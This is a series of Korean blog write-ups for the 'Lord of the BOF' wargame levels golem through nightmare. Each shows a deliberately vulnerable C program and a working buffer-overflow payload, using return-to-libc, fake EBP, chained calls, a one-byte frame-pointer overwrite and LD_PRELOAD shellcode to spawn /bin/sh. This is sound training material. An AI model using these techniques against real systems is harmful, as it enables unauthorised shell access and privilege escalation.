2011. 6. 15. 00:26

[view source]

/*

The Lord of the BOF : The Fellowship of the BOF

- nightmare

- PLT

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <dumpcode.h>

   

main(int argc, char *argv[])

{

char buffer[40];

char *addr;

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

// check address

addr = (char *)&strcpy;

if(memcmp(argv[1]+44, &addr, 4) != 0){

printf("You must fall in love with strcpy()\n");

exit(0);

}

   

// overflow!

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

   

// dangerous waterfall

memset(buffer+40+8, 'A', 4);

}


♧ RET부분이 strcpy주소로 시작을 하는지 check하고 있다.
먼저 여기서 strcpy주소 인지 체크하는 부분은 plt에 있는 참조 주소이다.
이 plt의 strcpy의 참조 주소를 이용해 RTL로 문제를 풀도록 하자.


 

   

♧ GOT와 PLT [ 참조 ]

GOT는 Global Offset Table(전역 오프셋 테이블)약자며 실행 후, libc.so내 실제 함수 주소가 담기는 저장소이다.
PLT는 일종의 실제 호출 코드를 담고 있는 Procedure Linkage Table(프로시져 링키지 테이블)로써

이 내용 참조를 통해 _dl_runtime_resolve가 수행되고, 실제 시스템 라이브러리 호출이 이루어지게 된다.

(매 번이 아닌, 한 번만 수행되고 나면, 그 다음부터는 GOT에 기록된 내용만 참조하여 수행) 이를 실제

시스템 라이브러리 주소를 호출하기 위해 필요한 정보 테이블이라 보면 될 것 같다.


   

[ summary ]

♧ strcpy()를 이용해 argv[2]에 있는 system()를 리턴 주소(strcpy호출 다음)에 복사하여 실행 흐름을 변경한다.

  


   

   

[ Attack ]

필요한 주소 구하기.

ⓐ strcpy@plt

ⓑ strcpy[dest], strcpy[src]=argv[2] 주소 (사본 생성 후 주소 출력)


dest = 0xbffffaa0 + 48 = [ 0xbffffad0 ]

argv =[ 0xbffffc58 ]

   

∑xploit

$(python -c 'print "A"*44 + "\x10\x84\x04\x08" + "dumm" + "\xd0\xfa\xff\xbf" + "\x58\xfc\xff\xbf"') $(python -c 'print "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40"')

  


※ 사전에 chsh명령 -> bash2로 변경 후 재로그인 함

succubus : "here to stay"

 

Posted by devanix
2011. 6. 12. 05:04

[view source]

/*

The Lord of the BOF : The Fellowship of the BOF

- succubus

- calling functions continuously

*/

   

#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>

   

// the inspector

int check = 0;

   

void MO(char *cmd)

{

if(check != 4)

exit(0);

   

printf("welcome to the MO!\n");

   

// olleh!

system(cmd);

}

   

void YUT(void)

{

if(check != 3)

exit(0);

   

printf("welcome to the YUT!\n");

check = 4;

}

   

void GUL(void)

{

if(check != 2)

exit(0);

   

printf("welcome to the GUL!\n");

check = 3;

}

   

void GYE(void)

{

if(check != 1)

exit(0);

   

printf("welcome to the GYE!\n");

check = 2;

}

   

void DO(void)

{

printf("welcome to the DO!\n");

check = 1;

}

   

main(int argc, char *argv[])

{

char buffer[40];

char *addr;

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

// you cannot use library

if(strchr(argv[1], '\x40')){

printf("You cannot use library\n");

exit(0);

}

   

// check address

addr = (char *)&DO;

if(memcmp(argv[1]+44, &addr, 4) != 0){

printf("You must fall in love with DO\n");

exit(0);

}

   

// overflow!

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

   

// stack destroyer

// 100 : extra space for copied argv[1]

memset(buffer, 0, 44);

memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));

   

// LD_* eraser

// 40 : extra space for memset function

memset(buffer-3000, 0, 3000-40);

}


1) argv[1]에서 "\x40"이 유무 체크. (library 함수를 사용하지 못함)
2) RET에는 DO함수 주소가 있어야 함.
3) RET이후 100Byte 사용가능.
♧ RTL개념과 같다. 다만 각 함수마다 플래그 체크를 하여 <DO> <GYE> <GUL> <YUT> <MO> 순으로 호출해야 한다.


 

   

[ summary ]

스택에서 함수 호출은 다음과 같은 모양이다.

함수 주소

리턴 주소

인자 1

인자 2

인자 3


그러나 리턴 주소 부분에 다시 함수 호출을 한다면 연속 적으로 호출 할 수 있다.
다만 인자가 없는 함수 호출만 연속적으로 호출 할 수 있다.

그리고 마지막에 호출되는 함수는 인자를 사용 할 수 있다.

   

그리고 맨 마지막 <MO> 함수는 system(인자)를 호출하게 되는데
사용 할 수 있는 스택은 RET 부터 +100byte뿐임으로 다음과 같이 구성한다.

<BUFFER>

<SFP>

<DO>

..[중략]..

<MO>

<RET:더미>

&("bash")문자열 주소

"bash"

  


   

[ Attack ]

필요한 주소 구하기.

ⓐ 도,개,걸,윳,모 주소

ⓑ "/bin/sh"문자열 주소

[버퍼 주소 40Byte] + [SFP4Byte] + [도, 개, 걸, 윳, 모 20Byte] + [더미4Byte] + [&("/bin/sh")4Byte]

= 0xbffffa70 + 40 + 4 + 20 + 4 + 4 = [ 0xbffffab8 ]

   

∑xploit

$(python -c 'print "A"*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "dmmm" + "\xb8\xfa\xff\xbf" + "/bin/sh"')


※ 사전에 chsh명령 -> bash2로 변경 후 재로그인 함

zombie_assassin : "no place to hide"

Posted by devanix
2011. 6. 11. 22:24

⊙ 문제의 소스를 보자)

/*

The Lord of the BOF : The Fellowship of the BOF

- zombie_assassin

- FEBP

*/

   

#include <stdio.h>

#include <stdlib.h>

   

main(int argc, char *argv[])

{

char buffer[40];

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

if(argv[1][47] == '\xbf')

{

printf("stack retbayed you!\n");

exit(0);

}

   

if(argv[1][47] == '\x40')

{

printf("library retbayed you, too!!\n");

exit(0);

}

   

// strncpy instead of strcpy!

strncpy(buffer, argv[1], 48);

printf("%s\n", buffer);

}


♧ strncpy()함수로 인하여 buffer에 복사할 크기를 48로 정의 함으로써 바로 RTL을 사용하지 못한다.
그래서 제목 제목 처럼 Fake-ebp로 문제를 해결한다.

   

1) FAKE EBP?

♧ 일반 RTL에서는 하나의 함수밖에 호출하지 못하지만 FAKE EBP를 사용 함으로서 여러 함수를 실행하는 공격이 가능 하다.

♧ RET에 leave;ret 주소를 덮음으로써 조작한 ebp로 실행흐름을 바꿀 수 있게 된다.

① 공격 당한 함수의 에필로그(leave;ret)는 fake_ebp0를 %ebp에 집어 넣을 것이다.

② 두 번째 에필로그 역시 fake_ebp1을 %ebp에 집어 넣고, 적당한 매개변수를 가지는 f1으로 리턴 할 것이다.

③ f1이 실행되고 리턴 될 것이다.

④ [ ②와 ③ ]과정이 반복되고, f1에서 부터 f2, f3... fn까지 반복 될 것이다.


   

2) 구성

① 공격 당한 함수의 에필로그 leave가 실행되면 [mov ebp esp]로 인해 esp가 ebp의 시작 지점으로 이동하며
[pop ebp]로 인해 FAKE EBP를 ebp에 넣게 된다.

(이때 pop ebp로 인해 esp+4가 되며 leave의 주소가 들어있다)

② 다음 인스트럭션 명령인 ret이 실행되고 리턴 주소인(leave)가 pop eip가 되면서 다시 leave로 점프하게 된다.

③ 다시 또 한번 leave가 실행되고 ebp에는 FAKE EBP인 버퍼의 시작 주소를 가리키고 있으므로

[ mov ebp esp]로 인해 esp는 buffer의 시작 지점으로 이동하게 되며 [pop ebp]로 인해 esp+4가 된다.

④ 역시 또 한번 ret이 실행 됨으로 system()를 호출하게 된다.


 

   

∑ 익스플로잇 작성!

① 공격 스크립트 작성

"AAAA"

system:

[ 0x40058ae0]

exit:

[ 0x400391e0]

"/bin/sh":

[0x400fbff9]

buffer:

[0xbffffab0]

leave;ret:

[0x080484df]

$(python -c 'print "AAAA" + "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "A"*24 + "\xb0\xfa\xff\xbf" + "\xdf\x84\x04\x08"')

∑xploit


※ 사전에 chsh명령 -> bash2로 변경 후 재로그인 함

   

assassin : "pushing me away"

Posted by devanix
2011. 6. 10. 01:36

⊙ 문제의 소스를 보자)

[giant@localhost giant]$ cat assassin.c

/*

The Lord of the BOF : The Fellowship of the BOF

- assassin

- no stack, no RTL

*/

   

#include <stdio.h>

#include <stdlib.h>

   

main(int argc, char *argv[])

{

char buffer[40];

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

if(argv[1][47] == '\xbf')

{

printf("stack retbayed you!\n");

exit(0);

}

   

if(argv[1][47] == '\x40')

{

printf("library retbayed you, too!!\n");

exit(0);

}

   

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

   

// buffer+sfp hunter

memset(buffer, 0, 44);

}


♧ 제목과 같다. No! Stack, No! RTL.. 버퍼+SFP 초기화. 오로지 RET만 덮어 쓸 수 있다.
♧ 그러나 코드 영역에 RET 명령을 다시 한번 호출 하게 되면 내부 동작에 의하여

esp에 저장된 복귀 주소를 pop하고 그 주소를 eip에 대입 하게 된다.

복귀 주소를 pop 하였기 때문에 esp+4가 됨으로써 다시 한번 리턴 할 수 있다.


   

⊙ 구성도

♧ 인스트럭션 코드가 차례대로 실행되고 Return Address를 다시 한번 RET명령 주소로 덮어쓴다.

♧ 다시 한번 RET명령을 호출 함으로서 esp+4가 됨으로 system을 다시 호출 하게 된다.


 

   

(※ RET명령을 다시 호출 하는 것 외에는 전 단계와 동일 함으로 필요한 주소 찾는 과정은 제외 한다.)

∑ 익스플로잇 작성!

① 공격 스크립트 작성

RET명령:[0x804851e]

system:[0x40058ae0]

exit:[0x400391e0]

"/bin/sh":[0x400fbff9]

$(python -c 'print "A"*44 + "\x1e\x85\x04\x08" + "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40"')

   

∑xploit


   

※ 사전에 chsh명령 -> bash2로 변경 후 재로그인 함

giant : "one step closer"

Posted by devanix
2011. 6. 9. 19:48

⊙ 문제의 소스를 보자)

/*

The Lord of the BOF : The Fellowship of the BOF

- giant

- RTL2

*/

   

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

   

main(int argc, char *argv[])

{

char buffer[40];

FILE *fp;

char *lib_addr, *execve_offset, *execve_addr;

char *ret;

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

// gain address of execve

fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");

fgets(buffer, 255, fp);

sscanf(buffer, "(%x)", &lib_addr);

fclose(fp);

   

fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");

fgets(buffer, 255, fp);

sscanf(buffer, "%x", &execve_offset);

fclose(fp);

   

execve_addr = lib_addr + (int)execve_offset;

// end

   

memcpy(&ret, &(argv[1][44]), 4);

if(ret != execve_addr)

{

printf("You must use execve!\n");

exit(0);

}

   

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

}


♧ evecve의 주소를 구하여 argv[1][44]의 RET Address부분이 execve의 주소와 동일하지 않으면

종료된다. 그럼으로 문제의 제목과 같이 execve를 이용한 RTL(Return-into-Libc) 방법이 사용된다.

(전체적인 구성은 [ LEVEL13 ] 과 같음으로 참고 하자.)


   

1) 구성도

execve() 시스템 콜을 호출한 프로세스를 새로운 프로세스로 변경한다. (환경변수 정보 추가 기능)
ⓑ 대략적인 구성도는 다음과 같다.

*execve의 두 번째 인자는 char 포인터 배열 임으로 argv[0]의 "/bin/sh"는 copyed argv[0]를 이용한다.

(즉, 이름을 심볼릭 링크하여 argv[0]으로 만듬)
*NULL은 스택 끝에 0xbffffffc를 이용한다.


   

2) 필요한 주소를 찾아 보자.

① GDB로 execve(), exit() 주소 찾기.

② "/bin/sh" 주소 찾기.

#include <stdio.h>
int main(int argc, char **argv)
{
long shell;
shell =
0x40058ae0; // system()함수의 주소
while(memcmp((void*)shell,"/bin/sh",8)) shell++;
printf("\"/bin/sh\" is at [ %#x ]\n",shell);
}

③ execve()의 두 번째 인자로 사용할 copyed argv[0]의 주소 찾기.

ⓐ 권한이 없음으로 sed로 24번 라인을 변경 후 사본을 만든다.

[bugbear@localhost bugbear]$ sed -e 's/giant\/assassin/bugbear\/giant/g' giant.c > tnaig.c

ⓑ 컴파일

[bugbear@localhost bugbear]$ gcc tnaig.c -o $(echo -en "\xf9\xbf\x0f\x40")

ⓒ GDB로 copyed argv[0] 주소 찾기. (*전체 경로를 더해준다)

   

execve

0x400a9d48

exit

0x400391e0

"/bin/sh"

0x400fbff9

argv= {"/bin/sh, 0}

0xbffffff7


   

∑ 익스플로잇 작성!

① 공격할 원본 바이너리 파일(giant)에 심볼릭 링크.

[bugbear@localhost bugbear]$ ln -sf giant $(echo -en "\xf9\xbf\x0f\x40")


② 찾은 주소로 공격 스크립트 작성.

(execve의 주소에 "\x0a"를 "00"으로 취급하기 때문에 스크립트 양쪽에 큰따옴표(double quotation)를 붙여준다.

execve
[ 0x400a9d48 ]

exit
[ 0x400391e0 ]

"/bin/sh"
[ 0x400fbff9 ]

argv
[ 0xbffffff7 ]

NULL
[ 0xbffffffc ]

"$(python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "\xf7\xff\xff\xbf" + "\xfc\xff\xff\xbf"')"

   

∑xploit

./$(echo -en "\xf9\xbf\x0f\x40") "$(python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "\xf7\xff\xff\xbf" + "\xfc\xff\xff\xbf"')"

성공!!!


※ 사전에 chsh명령 -> bash2로 변경 후 재로그인 함
bugbear : "new divide"

Posted by devanix
2011. 6. 8. 23:41

⊙ 문제의 소스를 보자)

#include <stdio.h>

#include <stdlib.h>

   

main(int argc, char *argv[])

{

char buffer[40];

int i;

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

if(argv[1][47] == '\xbf')

{

printf("stack betrayed you!!\n");

exit(0);

}

   

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

}


   

   

♧ RET이 "\xbf"로 시작 할 수 없다. 즉, RET을 스택영역으로 둘 수 없다.

그렇기 때문에 RTL(Return-into-Libc) 기법을 통한 문제를 문제를 풀도록 하자.

(*자세한 내용은 밑에 참조 문서를 참고 하도록 하자.)

ⓐ 공유 라이브러리의 함수의 위치는 정해져 있다. 시스템마다 위치가 다르기는 하지만

한번 위치가 알려지면 재컴파일되기 전까지는 위치가 같다.

ⓑ 쉘코드를 사용하는 대신에 RET지점에 라이브러리 함수( system(), exit(), "/bin/sh")같은

위치값을 넣어주면 그 함수로 점프하게 된다.

ⓒ 스택에서 함수 호출은 다음과 같은 모양이다.

함수 주소

리턴 주소

인자 1

인자 2

인자 3

ⓓ 간단한 구성은 다음 그림과 같다.


참조 문서

   

   

∑ 익스 플로잇 작성!

① 필요한 함수와 인자의 주소(system, exit, "/bin/sh")를 구해 보자.

* 공유라이브러리는 항상 메모리에 상주 함으로 권한이 있는 아무런 프로그램을 GDB실행하여
print <함수 이름>로 찾으면 된다.

ⓐ system(), exit() 주소 찾기.

ⓑ "/bin/sh" 인자로 쓰일 문자열 찾기.

#include <stdio.h>
int main(int argc, char **argv)
{
long shell;
shell =
0x40058ae0; // system()함수의 주소
while(memcmp((void*)shell,"/bin/sh",8)) shell++;
printf("\"/bin/sh\" is at [ %#x ]\n",shell);
}

   

② 공격 스크립트 작성

system :: [ 0x40058ae0 ]

exit :: [ 0x400391e0 ]

"/bin/sh" :: [ 0x400fbff9 ]

$(python -c 'print "A"*44 + "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40"')

   

③ ∑xploit

성공!!!

*exit() 주소 대신 아무런 가비지값을 넣어도 없지만 세그먼트 에러가 발생한다.

※ 사전에 chsh명령 -> bash2로 변경 후 재로그인 함

darkknight : "new attacker"

Posted by devanix
2011. 6. 8. 20:47

⊙ 문제의 소스를 보자)

#include <stdio.h>

#include <stdlib.h>

   

void problem_child(char *src)

{

char buffer[40];

strncpy(buffer, src, 41);

printf("%s\n", buffer);

}

   

main(int argc, char *argv[])

{

if(argc<2){

printf("argv error\n");

exit(0);

}

   

problem_child(argv[1]);

}


   

♧ 이번 문제는 RET이 아닌 SFP의 1Byte를 변조하여 프로그램의 실행 흐름을 바꾸는 문제이다.

(자세한 내용은 [ 참조 1 ] [ 참조 2 ] 에서 보도록 하자)

① main에서 problem_child() 호출
② probelm_child에서 strncpy(buffer, src, 41)를 통해 SFP를 1Byte만 변조 한다.

(*strncpy 호출 후 스택 내용)

③ problem_child의 프레임에 leave 명령을 통해

mov ebp, esp

pop ebp

SFP가 있는 곳으로 이동 후 변조된 ebp값을 pop 함으로써 main()의 ebp값은 변조된 ebp값으로 저장.

④ child 프레임의 RET을 통해 다시 main 프레임으로 복귀.

⑤ main 프레임의 leave가 수행된다.

5-1) mov ebp, esp에 의해 변경 되어 버린 ebp로 esp가 이동.

5-2) pop ebp에 의해 esp는 4Byte가 증가하게 된다.

(esp+4의 위치는 RET의 위치이다.)

마지막으로 ret 명령으로, eip 는 esp를 참조해서 다음 실행할 주소로 점프 한다.

   

♧이렇듯 1Byte의 변조만으로 실행흐름이 바뀔 수 있다.


   

∑ 익스 플로잇 작성!

① 대략적인 구성. ( buffer 주소 :: [ 0xffffac4 ] 위 그림 참조.)

   

② 공격 스크립트 작성

$(python -c 'print "\xcc\xfa\xff\xbf"*2 + "\x90"*15 + "\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3" + "\xc4"')

   

③ ∑xploit

성공!!!


  

※ 사전에 chsh명령 -> bash2로 변경 후 재로그인 함.

golem : "cup of coffee"

Posted by devanix
2011. 6. 8. 03:14

⊙ 문제의 소스를 보자)

#include <stdio.h>

#include <stdlib.h>

   

extern char **environ;

   

main(int argc, char *argv[])

{

char buffer[40];

int i;

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}

   

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

   

// stack destroyer!

memset(buffer, 0, 44);

memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

}


1) if문으로 argv[1][47] != '\xbf' 체크.
2) [ RET ]을 제외한 buffer의 시작주소부터 0xbfffffff 까지 모두 초기화.

   

♧ buffer의 주소 밑. 즉, 스택의 아래 쪽에 쉘코드를 삽입해야 하는데

공유 라이브러리를 생성 후 LD_PRELOAD 환경 변수를 이용 한다.
(아래 내용을 참조 하자.) [ 참조1 ] [ 참조2 ]

   


   

♧ 공유 라이브러리 이름을 쉘코드로 하여 LD_PRELOAD 등록 후 스택 찌꺼기?에 남아있는 곳을 찾아 RET으로 설정한다.

∑ 익스 플로잇 작성!

① 공유 라이브러리 생성

# echo "void attack(){}" | cat > attack.c

# gcc attack.c -fPIC -shared -o $(python -c 'print "\x90"*120 + "\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3"')

② LD_PRELOAD 환경변수 등록

export LD_PRELOAD="$(pwd)/$(python -c 'print "\x90"*120 + "\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3"')"

③ GDB로 RET 주소 찾기. (사본::cp golem melog)

# gdb -q melog

# b *main+166

# r $(python -c 'print "\xbf"*48')

# x/50xw $ebp - 3000

대략 $ebp - 3000 지점 부터 내려오다 보면 "\x90" 보인다 중간 지점으로 RET 설정하자.

:: $(python -c 'print "\x10\xf6\xff\xbf"*12')

④ ∑xploit

성공 !!!

  


   

   

♣ 기타 사항

ⓐ LD_PRELOAD로 등록 후 원본(golem)과 사본(melog)의 libc주소가 서로 틀려 졌다.

ⓑ 그리하여 RTL을 이용 하여 만든 쉘코드는 원본(golem)에 적용되었다.

(이유는 잘 모르겠다 좀더 시간 내서 공부를 해야 될듯...-_)


 

   

golem : "cup of coffee"

Posted by devanix